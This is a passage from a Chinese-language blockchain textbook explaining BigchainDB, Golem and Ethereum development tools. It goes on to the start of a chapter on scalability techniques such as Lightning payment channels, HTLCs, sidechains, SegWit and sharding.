  • **低延迟:**BigchainDB 仅需几秒钟即可将交易包含在已提交的区块中。Tendermint 协议负责在分散网络中保持低延迟。

  • **数据库查询:**我们都知道,任何结构化或非结构化数据库都使用查询语言请求和检索其中的数据。BigchainDB 节点还允许用户索引和查询存储的数据。网络中的每个节点都维护自己的 MongoDB 实例。节点运营商可以决定如何将数据库暴露给区块链网络。节点可以暴露任何接口,可以是 REST API 或 GraphQL API。

BigchainDB 交易的生命周期

BigchainDB 交易的生命周期包括以下步骤:

创建交易

只要创建的交易符合 BigchainDB 交易规范,即定义了交易的预期键和值,任何用户都可以创建并将 BigchainDB 交易广播到网络。

通常情况下,交易是通过 BigchainDB 提供的驱动程序创建的。有各种编程语言的驱动程序列表,包括 Python 和 JavaScript。

以下 JSON 结构显示了交易的所有字段。BigchainDB 交易包括输入和输出,类似于比特币交易。此外,每个交易都有一个operation字段,指定了在资产上执行的操作:

{ 
  "id": "3667c0e5cbf1fd3398e375dc24f47206cc52d53d771ac68ce14ddf0
 fde806a1c", 
  "version": "2.0", 
  "inputs": [ 
    { 
      "fulfillment": "pGSAIEGwaKW1LibaZXx7_NZ5-V0alDLvrguGLyLRkgm
 KWG73gUBJ2Wpnab0Y-4i-kSGFa_VxxYCcctpT8D6s4uTGOO c\nF-hVR2VbbxS35
 NiDrwUJXYCHSH2IALYUoUZ6529Qbe2g4G", 
      "fulfills": null, 
      "owners_before": [ 
        "5RRWzmZBKPM84o63dppAttCpXG3wqYqL5niwNS1XBFyY" 
      ] 
    } 
  ], 
  "outputs": [ 
    { 
      "amount": "1", 
      "condition": { 
        "details": { 
          "public_key": "5RRWzmZBKPM84o63dppAttCpXG3wqYqL5niwNS1XB
 FyY", 
          "type": "ed25519-sha-256" 
        }, 
        "uri": "ni:///sha-256;d-_huQ-eG-QQD-GAJpvrSsy7lLJqyNhtUAs_own7aTY?fpt=ed25519-sha-256&cost=131072" 
      }, 
      "public_keys": [ 
        "5RRWzmZBKPM84o63dppAttCpXG3wqYqL5niwNS1XBFyY" 
      ] 
    } 
  ], 
  "operation": "CREATE", 
  "asset": { 
    "data": { 
      "message": "Greetings from Berlin!" 
    } 
  }, 
  "metadata": null 
} 

传输交易

一旦交易创建,就可以通过调用节点暴露的 HTTP API 将其传输到网络。交易抵达节点时,会进行验证以确保符合交易规范和交易合法性。然后使用 Tendermint 实例将其广播到网络。以下图显示了 BigchainDB 的服务器、一个 MongoDB 实例和 Tendermint 实例在网络中的互联情况:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.9:BigchainDB 网络及其组件(来源:www.bigchaindb.com

使用案例

由于 BigchainDB 的区块链和数据库特性,它的应用可以在集中式和分散式生态系统中见到。在集中式系统中,比如云上的服务器,它可以取代现有的数据库。然而,它最适合的应用是与以太坊等分散式平台一起使用。在以太坊中创建的 DApp 通常使用 IPFS 等分布式存储机制。在这样的应用中,可以使用 BigchainDB 来存储交易数据。

分布式计算

在过去的十年中,我们见证了计算行业的巨大增长。计算行业的增长表现在处理能力、内存、存储、网络、设计等方面。随着计算能力的增加,开发人员开始着手开发同样令人兴奋的项目来利用这些能力。尽管高性能计算设备对一般公众是可用的,但它们并不十分经济实惠。这就是分布式计算被引入的地方,它允许多台计算设备一起解决复杂问题,通过将问题分解成任务进行处理。

分布式计算是一种在不使用单一高性能计算机的情况下解决复杂任务的高效方式。就像分布式数据存储一样,分布式计算已经与区块链平台集成。Golem是一个基于区块链的平台,提供了一个计算能力的市场。

Golem

Golem 是一个 P2P 网络中的全球分布式计算能力市场。它允许任何拥有多余计算能力的人成为生产者,并通过将其贡献给分散网络来从计算能力获利。Golem 可用于为分散的微服务或任何异步任务提供计算能力。Golem 市场的主要优势在于降低复杂任务(如 CGI 渲染、科学计算和机器学习)的计算价格。

Golem 在一个 P2P 网络中运作,允许拥有计算能力的提供者向客户租赁他们的资源,或者用 Golem 专业术语来说,是请求者。与现有的云平台不同,那里的付款是通过第三方服务定期进行的,Golem 使用了一个基于以太坊的微支付服务来实现直接支付,从而使网络参与者之间能够直接进行支付。

Golem 生态系统

Golem 生态系统由三个主要组件组成 - 资源提供者、资源请求者和软件开发人员。下图描绘了由这些组件构成的 Golem 生态系统:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.10:Golem 生态系统(来源:golem.network

应用注册表

应用注册表是以太坊区块链上的智能合约,任何人都可以发布在 Golem 网络上运行的应用程序,比如集成工具。这个注册表可以用作请求者寻找工具的市场。

由于在分散系统中信任未经测试的软件是不安全的,Golem 在特殊用户——验证者的帮助下通过白名单或黑名单应用程序。当软件作者发布一些软件时,验证者会审查并认证该应用程序是安全还是不安全的。所有安全应用程序都被添加到白名单中,其他应用程序则被添加到黑名单中。提供者在使用应用程序时使用此白名单。Golem 维护一个安全应用程序的白名单,可以由初次用户参考。

提供者

计算能力由 Golem 生态系统中的提供者提供。去中心化网络的基础设施可以由任何人提供。提供者甚至可以提供单个 CPU 的周期。每个提供者都会因为为请求者的计算任务做出贡献而获得报酬。

请求者

请求者是提供者共享的计算资源的消费者。由于提供者和请求者的参与,Golem 是一个竞争市场。这个竞争市场导致了计算资源的合理价格,不像现有云平台的定价。

Golem 允许用户同时充当提供者和请求者,以便请求者在空闲时间共享其资源。

Golem 网络代币(GNT)

GNT 通过促进参与者之间的微支付服务来为整个去中心化网络提供动力。GNT 是在项目的众筹期间创建的,但主要用于 Golem 网络的请求者和提供者:

  • GNT 用于提供者和请求者提供的服务之间的结算

  • 软件开发人员通过为应用程序注册表做出贡献而获得 GNT 的报酬

  • 参与软件验证过程需要 GNT

Golem 代币无法挖掘,数量限制为在众筹期间创建的代币数量。

区块链平台

随着分散的区块链应用在几个技术领域获得了大量曝光,个人开发人员和组织开始创建区块链平台,其中应用程序可以在不担心 P2P 网络、共识或交易的基础实现的情况下创建。这些项目为通用程序员提供了一个平台,通过创建业务逻辑就可以实现有效用例。

每个区块链平台都有自己的区块链和节点网络。这使得在一个区块链平台中创建的区块链应用在区块链上的交易和其他数据方面被隔离开来。有多个区块链平台,它们各自尝试解决现有平台实现中的问题或为特定应用程序开发附加功能。

我们已经研究了 NEO 和 MultiChain 平台,并创建了分散的应用程序。以太坊、Eris、NXT、EOS 和 Hyperledger 是一些知名的平台,用于实现各种用例。

以太坊

以太坊是通过提供一个使用修改版比特币共识算法的不可变账本来创建去中心化应用程序的广泛使用的平台。以太坊通过一种名为 Solidity 的面向对象编程语言提供先进的脚本功能。以太坊拥有自己的分布式虚拟机,称为 EVM,可以执行编译后的 Solidity 脚本。

以太坊是由维塔利克·布特林于 2013 年末提出的,当时他是与比特币有关的程序员。布特林此前曾提出比特币需要一个先进的脚本语言来开发应用程序。在未能说服比特币开发社区之后,他提出了以太坊。

以太坊代币

以太坊包含一个名为以太的代币,它支持区块链的功能。以太坊中的所有交易都需要一个小额以太费用才能被包含在区块链中。这个小的计算单位称为气体。与 NEO 的 GAS 代币不同,后者在第七章中讨论过,深入区块链-拥有权的证明,气体不是一个独立的代币,而是以太的一个小单位。

以太

以太是以太坊生态系统中使用的加密货币。以太可以像比特币一样用作虚拟货币。用户可以使用由用户拥有的公钥和私钥进行交易。以太代币在加密货币交易所以 ETH 符号交易。

气体

Gas 是当交易被包含在区块链中时需要附加的一笔小额以太费用。Gas 主要是为了减轻区块链中的垃圾交易而创建的。任何智能合约作者在将其部署到公共分类账时都会附加一小笔 Gas。这将确保作者将一个合法的合约部署到区块链上。

用户在部署合约时可以指定以太的少量作为气体价格,这称为气体价格。任何交易中需要花费的气体量称为气体限制。气体价格以 gwei 单位度量(1 以太=10⁹ gwei)。

EVM

与比特币使用的基于堆栈的语言不同,Solidity 是一种图灵完备的语言,因此它需要一个运行时环境来执行程序。EVM 为以太坊节点执行智能合约提供了运行时环境。EVM 在与以太坊网络和主机机器的其他进程隔离的节点上运行。只有智能合约的输出可以被广播并附加到区块链作为交易。EVM 执行已编译为以太坊字节码的 Solidity 脚本。这确保了执行与平台无关,以便网络上的每个节点执行并产生相同的输出。EVM 已被实现在几种不同的语言中,包括 Go、JavaScript 和 Python。

区块链共识

Ethereum 节点通过使用基于工作证明的算法类似于比特币为区块链挖掘区块。附加区块的节点确保对区块使用哈希函数进行了足够的计算。平均区块创建时间限制在约 12 秒左右。

Ethereum 使用一种名为Ethash的工作证明算法,这是一种抗 ASIC 算法,旨在克服挖矿过程的集中化。挖矿需要在计算哈希之前从伪随机缓存生成大型数据集。由于在此过程中使用了内存,因此它抵抗基于 ASIC 的挖矿设备。验证过程可以使用较低的内存进行,因为它只需要重新生成数据集的一部分。

ASIC 是应用特定集成电路的缩写。该电路将执行特定的操作。比特币 ASIC 是专门为运行 SHA256 散列函数而开发的,以充分利用硬件的功能。

Ethereum 已计划在不久的将来用股权证明取代基于工作证明的共识。矿工将不再能够通过他们的计算能力做出贡献。而是代币持有者将为共识做出贡献。

DApp 开发

目前,由于其出色的社区支持,Ethereum 是最广泛使用的 DApp 开发平台。在以太坊平台上有超过 2,000 个活跃的 DApps。完整的统计数据可以在www.stateofthedapps.com/stats找到。它提供了一套优秀的工具来启动 DApp 的开发。在本节中,我们将列出一些在以太坊生态系统中开发 DApp 所需的基本组件和工具。

Geth

Ethereum 提供多种语言的客户端软件,包括 C++、Python 和 Rust。客户端软件的 Go 编程语言实现,称为Geth,很受欢迎。每个客户端软件都捆绑了几个组件:

  • 客户端守护程序:就像比特币核心的客户端守护程序一样,Geth 守护程序是一个进程,它与其他以太坊节点建立 P2P 连接以交换区块链数据。Geth 守护程序需要一直运行以确保客户端的本地区块链副本是最新的。Geth 客户端守护程序还可以验证和挖矿交易。客户端公开了一个 RPC 接口,以便 DApps 与区块链网络通信。

  • 客户端命令行界面CLI):客户端软件提供了一个命令行界面,可以用来在以太坊客户端节点上执行操作。CLI 可用于管理账户、创建交易以及查询本地区块链数据,等等。

  • 客户端用户界面:Mist 是最广泛使用的图形用户界面软件。它捆绑了以太坊节点的 Go 和 C++ 实现。

Web3.js

与其他 web 应用程序一样,即使 DApps 也需要一个前端应用,提供用户与后端应用通信的界面。由于大多数前端应用程序在 web 浏览器中执行,以太坊提供了一个名为 web3.js 的 JavaScript 库,可用于前端应用程序与去中心化区块链网络通信。如果客户端界面是用 Python 构建的,还可以使用其他语言的库,如 Web3.py 用于 Python,可以执行类似的操作。

Truffle 框架

Truffle 是一个框架,通过创建所需的项目结构、基本脚本和配置来帮助引导以太坊 DApp 项目的启动。这类似于 Django、Angular 和 React 等框架。Truffle 简化了开发人员编译和部署合约到区块链的任务。

MetaMask

MetaMask 是一个应用程序,充当运行在 web 浏览器上的用户界面应用程序与以太坊区块链节点之间的桥梁。在 图 8.11 中,MetaMask 构成 DApp 用户界面与区块链节点之间的桥梁。MetaMask 为 web 浏览器提供插件或扩展,可以让用户管理他们的账户。所有对以太坊区块链的交易查询都通过 MetaMask 桥梁转发到以太网络。

MetaMask 通过调用节点提供的 RPC 接口方法与区块链节点通信:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.11:以太坊 DApp 架构

以太坊网络

像比特币一样,以太坊可以在主网或测试网区块链上运行。主网和测试网区块链都是公共区块链。此外,以太坊节点可以建立私有或本地区块链实例。由于拥有多种选择和社区支持,设置以太坊开发环境非常容易。

本地区块链

可以在瞬间设置以太坊本地区块链实例。来自 Truffle 框架的一个名为 Ganache 的 JavaScript 包可以设置以太坊的本地实例。该包附带以太坊区块链的 JavaScript 实现,因此本地测试不需要以太坊客户端。本地以太坊区块链实例配有挖矿、账户管理、区块链浏览器和许多其他更新功能。Ganache 运行一个本地以太坊客户端实例,还监听以太坊的 JSON-RPC 端口(8545)。

测试网区块链

以太坊的测试网与比特币的测试网类似。它模拟了主网区块链,唯一不同的是它包含一个备用区块链,其交易没有实际价值。测试网也需要 gas 来部署智能合约或简单交易。

与比特币的测试网不同,以太坊社区中有三个测试网区块链,每一个都由不同的团队维护:

  • Rinkeby 测试网络:这是由 Geth 团队维护的权威证明区块链网络。在该网络中无法挖掘以太币。

  • Ropsten 测试网络:这是一个工作量证明区块链网络,可以在其中挖掘以太币。

  • 科文测试网络:这是由 Parity 团队维护的权威证明区块链网络。在该网络中无法挖掘以太币。

由于在任何测试网络中创建任何交易都需要燃气,甚至在测试网络中,可以通过向测试网络水龙头请求获得。在 Rinkeby 测试网络中,用户可以通过指定目标帐户地址从 faucet.rinkeby.io 请求以太币。

项目链接

我们列出了一些在本章中提到的项目的链接。

总结

我们尝试覆盖了金融和非金融领域中大多数区块链应用。本章深入剖析了不断增长的区块链行业以及区块链生态系统中应用的可能未来轨迹。

在本章中,我们最初将几个项目分类为金融和非金融领域的区块链技术,并列出了这些项目。然后,我们通过深入研究其架构、实现、用例等来介绍每个项目。我们确保了解了每个实现中区块链的作用。

现在我们了解了一些区块链的应用案例,以及它们的优缺点,我们可以考虑优化现有的区块链架构。在下一章中,我们将介绍一些在设计使用区块链的 DApps 时可以实现的优化。

第九章:区块链优化和增强

可伸缩性是一个在创建应用程序之前甚至被谈论的关键因素。然而,即使应用程序部署后,应用程序也需要根据应用程序负载频繁更新以实现扩展。虽然可伸缩性一直是区块链领域的关注点之一,但在技术首次提出时并不是第一优先级。然而,随着时间的推移,由于对技术的增加兴趣,人们现在正在努力改进区块链技术的每个方面。

在本章中,我们将探讨可以实施的各种优化,以帮助您实现更好的性能或规划可扩展性。我们还将涵盖一些对现有区块链应用程序进行增强的功能。本章中讨论的大多数优化和增强已经在一些区块链项目中实施,或者正处于实施的初期阶段。

在本章中,我们将涵盖以下主题:

  • 区块链优化:

    • 交易交换

    • 离线交易

    • 区块大小改进

  • 区块链增强:

    • 分片

    • 共识算法- PoS、PoA、BFT 和 PoET

    • 跨链网络

    • 隐私增强

自 2009 年比特币的原始实施以来,它已经通过提出特性的标准程序进行了巨大改进,这些特性通过名为比特币改进提案BIP)的设计文档提出,这是在比特币社区中于 2011 年首次提出的。比特币有近 200 个改进提案(github.com/bitcoin/bips),这些提案是其在网络中的韧性的原因。

我们已经看到了几个基于比特币概念发展而来的基于区块链的项目。许多其他项目必须经历巨大的实施变化,以满足其要求。大多数项目改进和增强了现有的实施,以解决一些挑战,如可伸缩性、安全性和适应性。企业都热衷于利用这项技术来去中心化其现有架构。他们一直在创建概念验证来克服采用该技术之前所面临的所有现有挑战。在本章中,我们将研究技术中一些提出的优化和增强,这将消除技术所面临的挑战。

区块链优化

由于区块链应用程序的去中心化性质,对运行中的应用程序的区块链协议进行重大变更是困难的。现有协议需要经过精心优化才能实现改进。在接下来的部分中,我们将讨论一些可能的优化方式。

交易交换

通信和数据交换是去中心化 P2P 网络的本质。在区块链网络中,交易是节点之间交换的主要数据。通过利用适合交易数据的协议,可以优化交易的交换。一些优化技术在以下部分有描述。

区块链中继网络

虽然区块链网络中的节点是平等的,但节点可以选择执行各种角色。一些节点可能作为全节点,维护整个区块链,而另一些节点可能作为轻量级节点,只维护所需的交易。此外,愿意创建新区块的节点将执行挖矿操作。当所有这些节点以 P2P 方式相互通信时,将涉及网络延迟。

挖矿节点需要尽量将延迟降到最低,因为它们涉及时间敏感的操作。即使在关键的金融交易过程中,去中心化系统也需要尽量保持延迟最小化,以便客户和商家能够快速收到通知。比特币网络使用中继网络来在节点之间交换区块时尽量减少延迟,尤其是在竞争构建下一个区块的挖矿节点之间。

中继节点在将区块/交易传递到网络之前并不完全验证数据。虽然中继节点很快地中继了大部分交易,但它们可能无法准确地交付系统中的每一笔交易。比特币核心开发者 Matt Corallo 创建了一个基于 UDP 的中继网络,名为快速互联网比特币中继引擎FIBRE)。它使用由比特币核心开发的紧凑区块提供的压缩技术。由于 FIBRE 代码库是比特币核心的一个扩展,FIBRE 节点可以像比特币核心节点一样设置。

关于协议和节点设置的更多信息可以在bitcoinfibre.org找到。

另一个名为Falcon的中继网络使用应用级切换路由来实现更快的区块传播。优化后的拓扑结构声称它比基于压缩的中继网络更快。这些中继网络不仅保证网络节点将实现更高的吞吐量,还承诺为去中心化 P2P 网络的未来扩展性提供支持。

有关 Falcon 中继节点的更多详细信息可以在www.falcon-net.org找到。

可逆布隆查找表

可逆布隆查找表可用于有效地找到两个数据集之间的差异。这个概念已经在比特币中实现,以实现节点之间较低的事务交换延迟。如果没有找到两个集合之间的差异的任何机制,每个比特币节点都必须不断地将自己的交易集转移到网络上,并期望其他节点用不存在于交易集中的交易来回复。由于每个节点中存在大量的交易,这种机制消耗了大量的比特币网络带宽和时间。

一个解决方案是传输可用于有效找到数据集之间差异的信息。可逆布隆查找表通过创建可以找到两个集合之间的交易差异的较小查找表来解决这个问题。

可逆布隆查找表是布隆过滤器的一种变体。它们以高概率提供键-值对的成功查找。与布隆过滤器不同,它们不仅允许您查找特定键,而且可以列出插入的键/值对。查找表是一种概率性数据结构,成功查找的概率随查找表的大小而增加。

布隆过滤器是一种用于检查集合中元素存在性的概率性数据结构。虽然元素不存在永远不会被错误地预测(假阴性),但有时可能会错误地预测存在性(假阳性)。布隆过滤器被用于比特币的一种特殊节点,称为轻量级或简单支付验证SPV)节点,该节点用于在不下载整个块的情况下验证块中特定交易的存在性。

网络上的每个节点将广播一个用于交易池的查找表,该表将被网络中的其他节点识别。网络中的节点将仅交换所需的交易,从而减少冗余通信。借助这些查找表,可以快速且安全地同步池中的交易。

链下交易

可在区块链之外执行的一组交易称为链下交易。链下交易依赖于与主要区块链中使用的验证方法不同的几种验证方法。尽管链下交易的主要动机是实现增加的交易速度,但它也应通过确保交易不能被任何参与者撤销来提供基本安全性。

链下状态通道侧链是流行的链下解决方案。我们将研究这两种链下交易解决方案。

链下状态通道

状态通道是系统成员之间的双向通信,使成员能够执行一系列交易,而不将其提交到区块链。离链交易通过避免每笔交易都进行区块链确认来极大地增加吞吐量。

离链通道非常适合微支付,双方通过建立一个独立于区块链状态的支付通道来通信他们的交易。一旦双方的交易结束,状态通道可以关闭。通道的最终状态然后发送到区块链。

图 9.1显示了一个在 Alice 和 Bob 之间创建的支付通道。然后,Alice 和 Bob 将执行一系列交易,其状态仅在状态通道关闭后写入区块链:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.1:两个用户之间的状态通道交易

闪电网络

闪电网络是一个第二层支付协议,运行在比特币区块链之上。在撰写本文时,该协议的实现正在比特币的主网上以测试模式运行。这是一个双向路由网络,旨在解决比特币交易可扩展性问题。

设计

闪电网络创建了一个路由的支付通道网络,其中节点之间的通信是双向的。该设计已经由几个开源社区实施,遵循一套标准。

闪电网络的简单设计包括以下步骤:

  1. 通过使用双方的初始资金来承诺通道创建一个支付通道

  2. 执行微支付交易并更新通道创建的资金

  3. 关闭支付通道并广播通道资金的最终状态

闪电网络的一个例子

让我们考虑一个例子,Alice 想要与 Bob 执行几个比特币支付交易。Alice 和 Bob 决定使用闪电网络开放一个支付通道。

Alice 和 Bob 都创建了一个通道,最初各自投入了 2 比特币的资金。资金可以存放在一个多重签名地址账户中,这将确保双方需要同意最终资金分配。将维护一个资产负债表,该表将在每笔交易后更新 Alice 和 Bob 的余额。该资产负债表类似于在餐厅或酒吧中记账的概念;而不是为每个订单付款,而是维护一个可以用来一起支付所有订单的标签。

Alice 想要向 Bob 发送 0.5 比特币,所以她将创建一个支付 0.5 比特币给 Bob 的交易。而不是将此交易附加到区块链上,支付通道将更新资金余额表。现在通道基金将反映 1.5 比特币作为 Alice 的余额和 2.5 比特币作为 Bob 的余额:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.2:Alice 和 Bob 之间的闪电网络支付通道

Alice 和 Bob 可以执行任意数量的交易,而无需等待交易状态,因为支付通道独立于区块链状态。当在创建的通道上没有更多的交易需要执行时,可以关闭支付通道。然后,该通道的最终状态将被广播到区块链网络中,以便在单个交易中包含在区块链中。安全执行链下交易的闪电网络实现增加了区块链网络的总交易吞吐量。

路由支付网络

在闪电网络中,用户不需要与每个用户建立直接支付通道来执行交易。用户可以找到几个连接的支付通道,以连接到其他用户,从而建立路由支付网络。考虑这样一个例子,Alice 想要与 Carol 建立微支付通道。Alice 之前已经与 Bob 建立了一个通道。她还发现 Bob 与 Carol 有一个活跃的通道。因此,Alice 决定通过 Bob 创建一个路由支付通道与 Carol 进行支付,如图 9.3所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.3:Alice 通过 Bob 与 Carol 之间的路由支付网络

路由支付通道是在许多不信任的节点之间建立的,并且节点将不会知道路由中的下一个跳跃的信息。网络中的任何支付通道都可能因故障行为而随时无效。为了容忍网络中的故障,必须为网络中的每个通道设置一个托管。时间为基础的脚本扩展(智能合约),例如哈希时间锁合约HTLC)可用于在支付通道中设置托管。

哈希时间锁合约

HTLC 是一种特殊类型的智能合约,可以使用比特币的基本编程语言(脚本)创建。网络中的参与者在设置托管后,会在交易中锁定他们的资金并共享一个密钥。

HTLC 类似于交易创建期间创建的锁定脚本,其中使用用于解锁资金的使用非对称加密生成的秘密密钥。 HTLC 使用的是每次交易中销毁的随机生成的秘密,而不是使用永久性秘密密钥。资金的接收方最初将创建一个随机秘密,R,该秘密将使用诸如 SHA256 之类的单向函数进行散列。计算出的秘密哈希,H,然后可以与参与交易的所有参与者共享,以创建 HTLC 脚本。

尽管通过提供秘密 R 可以赎回 HTLC 脚本中承诺的资金,但它也有一个时间锁定,需要秘密所有者在指定时间内索取资金。时间因素也可以用区块数指定。比特币使用CheckLockTimeVerify扩展来对合同进行时间锁定。

最终的 HTLC 脚本是通过组合哈希和时间锁定条件准备的。网络中拥有秘密的任何节点都可以索赔 HTLC 中承诺的资金。

路由支付示例

让我们考虑通过构建前面示例的情景,Alice 想将 1 比特币发送给 Carol 而不是 Bob。由于 Alice 和 Carol 之间没有活动通道,Alice 和 Bob 通过 Bob 创建了一个支付通道,如前所述。现在,Carol 为会话创建一个随机秘密S。她为秘密S创建了一个哈希并与 Alice 分享,但秘密受到保护,没有向任何人透露。

Alice 和 Bob 之间的支付通道以 4 比特币资助。同样,Bob 和 Carol 之间的通道也以 4 比特币资助。 Bob 在每个支付通道上都有 2 比特币的份额。 Alice 通过创建价值为 1.1 比特币的 HTLC 承诺来开始交易,可支付给 Bob。额外的 0.1 比特币是支付给 Bob 的经纪人作为交易费用。由于他不拥有秘密,Bob 将无法索赔承诺。现在,Bob 被指示在另一个通道上创建一个新交易。他创建了一个价值为 1 比特币的 HTLC 承诺,可支付给 Carol。由于 Carol 拥有秘密密钥,她索取了比特币并将密钥传递给了 Bob。现在,Bob 将能够索赔 HTLC 中的比特币。

所有参与者都可以在不信任支付网络中的其他节点的情况下声称其资产。当任何一个通道关闭时,支付通道的最终余额可以写入区块链:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.4:通过 Bob 在 Alice 和 Carol 之间的路由支付网络

每个节点在需要创建交易时都将执行路由发现。路由发现的信息通过 P2P 网络模型从网络中的所有节点收集。一旦节点收集到所有信息,发送节点将构建最佳路径。在发送方发现路由之后,涉及到的每个节点都不会意识到所有节点。每个节点只会被告知与其建立支付通道的节点。这是通过实施基于洋葱路由协议的系统来保护交易的隐私实现的。

侧链

侧链是与主区块链并行运行并通过双向钉住与主区块链(也称为主链)连接的区块链。与状态通道类似,侧链是用于扩展现有区块链网络的第 2 层解决方案。

在提交状态到主链之前,可以在侧链上执行一组资产上的任意数量的交易。与状态通道不同,侧链是与主链并行运行的永久链。每当需要将资产发送到侧链时,同一资产就需要在主链上锁定,方法是将其转移到一个特殊地址。一旦在主链上锁定了资产,就可以将相同的资产释放到侧链。只要资产在主链上被锁定,侧链就可以对该资产执行交易。一个称为联邦的特殊群体充当主链和侧链之间的中介。

目前已经有几种现有的侧链实现。Rootstock 已经创建了一个与比特币区块链双向锚定的侧链。Loom (loomx.io/) 已经为以太坊网络创建了一个基于权益证明的侧链。Matic 网络 (matic.network/) 是另一个服务,使用 Plasma 框架的改进版本创建了一个基于权益证明的侧链。

区块大小改进

区块链的基本组件是一组交易,它是任何去中心化的基于区块链的应用程序的基本组成部分。每个基于区块链的实现都将定义其自己的区块结构。比特币区块由头部和主体部分组成,并具有一组定义的字段。其中一些字段有固定限制,区块大小也是如此。比特币的区块大小为 1 MB,这是在 2010 年引入的。这限制了可以包含在一个区块中的交易数量。

随着比特币网络中活动量的增加,由于其受欢迎程度,每个区块中创建的交易也越来越多。图 9.5展示了每个区块平均交易数量随年份增长的情况。从去年开始,大多数比特币区块达到了每个区块中交易数量的阈值。我们可以从图表中得出结论,近年来每个区块的平均交易数量约为 2,500。由于比特币的区块间隔固定为 10 分钟,比特币可以实现的平均交易吞吐量约为每秒 4-5 笔,远低于 PayPal 或 Visa 的交易吞吐量,它们的交易吞吐量分别约为每秒 200 和 1,600 笔:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.5:每个比特币区块的平均交易量(来源:www.blockchain.info)

增加交易吞吐量的直接解决方案是充分利用区块大小。但是,根据图 9.6中的图表显示,比特币区块最近已经利用其整个 1 MB 的空间进行交易。由于最近挖出的区块数量增加,有关增加区块大小的讨论和提案也有所增加。尽管社区表现出了很大的兴趣,但未能获得实施更新区块协议所需的大多数支持:

近年来有些区块超出了 1 MB 的限制,这是由于所谓的隔离见证协议升级引起的,我们将在接下来的拟议解决方案部分进行讨论。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.6: 比特币平均区块大小的表现(来源:www.blockchain.info)

增加区块大小的动机

增加区块大小是实现更高交易吞吐量的明显途径。但还有一些其他因素可能推动增加区块大小:

  • 增加的交易活跃度可能导致瓶颈,从而堵塞区块链网络。一些交易可能会延迟或永久丢失。

  • 微支付的等待时间增加会阻碍技术创新。

  • 目前,用户被迫支付更高的交易费以优先处理交易。

增加区块大小的担忧

尽管增加区块大小是增加交易吞吐量的一种直观方法,但这种方法存在一些问题。以下是其中一些问题:

  • 由于增加的大小,交换区块数据将变得更加困难

  • 增加区块大小是一个即时的解决方案,但不是一个永久性的解决方案。

  • 改变区块大小将导致硬分叉,并可能导致共识失败。

  • 更大的区块将需要更高的带宽来交换数据,这可能不会激励普通完整节点用户,并且由于维护成本增加,可能不再能够维护整个区块链。

拟议解决方案

从 2010 年初开始,已经有人尝试通过不同的提案来增加区块大小。甚至有一些名为比特币改进建议BIP)的提案来跟踪这个问题。其中一些是 BIP 100 - 103 和 BIP 109,它们都处于草案或被拒绝的状态。

最初的一个提案之一,由比特币核心的最初开发人员之一 Gavin Andreson 提出的 BIP 101 建议将区块大小增加到 8 MB,并且每两年将限制加倍,大小在两年内呈线性增长。尽管该提案得到了大多数矿工的支持,但由于需要硬分叉,由于没有获得经济上的多数,该提案未能获得一致意见。一个名为比特币 XT的替代比特币客户端在 2015 年实施了 BIP 101,但未能获得实施 BIP 101 的共识。后来,BIP 实施被从比特币 XT 中移除。

尽管有许多提出的解决方案,比特币未能获得新区块大小批准的多数票。但是提出了一种解决方案,以增加区块容量并保护免受交易可塑性的影响,这就是所谓的隔离见证协议升级。隔离见证定义了一个称为见证的新结构,其中存储了交易的所有签名信息,将其与区块中的交易信息分开。可以从见证结构中的信息验证交易的有效性。

隔离见证定义了一个新的权重单位,并允许创建多达 400 万个单位。在新的见证结构中,1 个字节被视为 1 个单位,但在旧的区块区域中,1 个字节的数据被视为 4 个单位。这使得旧的区块的限制为 1 MB,而使用升级后的协议创建的区块则不受 1 MB 限制的约束。这个提案最大的优势之一是它不需要对区块链进行硬分叉以达成共识。

区块大小改进只是区块链可扩展性问题的短期解决方案。比特币社区不断提出更好的解决方案,以便从长远来看解决网络可扩展性问题。

区块链增强

有许多改进措施已经建立在现有的区块链协议之上,以更高效地运行或使区块链应用程序适合实现所需的功能。我们将讨论一些需要进行重大协议修改的改进措施。

分片

比特币和其他现有的区块链平台面临的一个关键问题是扩展区块链网络中的应用程序。存储是减慢去中心化应用可扩展性的主要因素。区块链中的每个完整节点都存储整个区块链历史记录以验证交易。数据可以被巧妙地分布在网络上,而不是在每个节点上存储冗余数据,这将有助于实现可扩展性以及去中心化。以太坊提出了一种分片机制来实现分布式行为,以实现可扩展性。在本节中,我们将讨论以太坊提出的一些分片关键概念。

有关以太坊分片路线图的更多详细信息,请访问github.com/ethereum/wiki/wiki/Sharding-roadmap

数据库分片的动机

分片涉及将数据分区以将其分布到多个设备中。分片并不是实现计算资源分布的新概念。它已被用于数据库中实现可扩展性。数据库分片通过水平分区表来创建。通常,每个分区或分片都存储在物理上分离的服务器上以平衡负载。

将数据库表水平划分为分片将减少行数,从而减少索引大小,从而优化搜索。如果数据库分区是基于真实世界的数据分段执行的,比如将与不同国家相关的数据存储在不同的分片上,那么只查询相关分片将变得容易。

图 9.7 显示了一个最初将用户详细信息存储在全局数据库中的数据库表如何被分区:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9.7:基于物理位置的数据库分片

数据库表被水平划分成两个不同的表,每个表维护原始表中的一部分行。这些表的分区基于第一个表包含来自亚洲的用户的详细信息,而第二个表包含来自北美的用户的详细信息。以这种方式对数据库表进行分区将提高查询性能。数据库表也可以通过使用一种特殊的哈希方式(称为一致性哈希)将其分区并分布到多个服务器上。

当一个有 N 个槽位的哈希表被调整大小时,大多数的键(K)需要重新映射到这些槽位上。一致性哈希是一种特殊的哈希方式,其中槽位数的变化只需要重新映射 K/N 个键。

区块链中的分片

为了实现尽可能高的去中心化级别,分散的区块链网络由许多节点组成。网络的安全性随着添加到网络中的节点数量而增加。但节点的数量并不会增加网络的可伸缩性。事实上,随着节点数量的增加,扩展变得困难。以太坊提出了一种分片技术,其中整个区块链及其状态被分割成称为分片的分区。

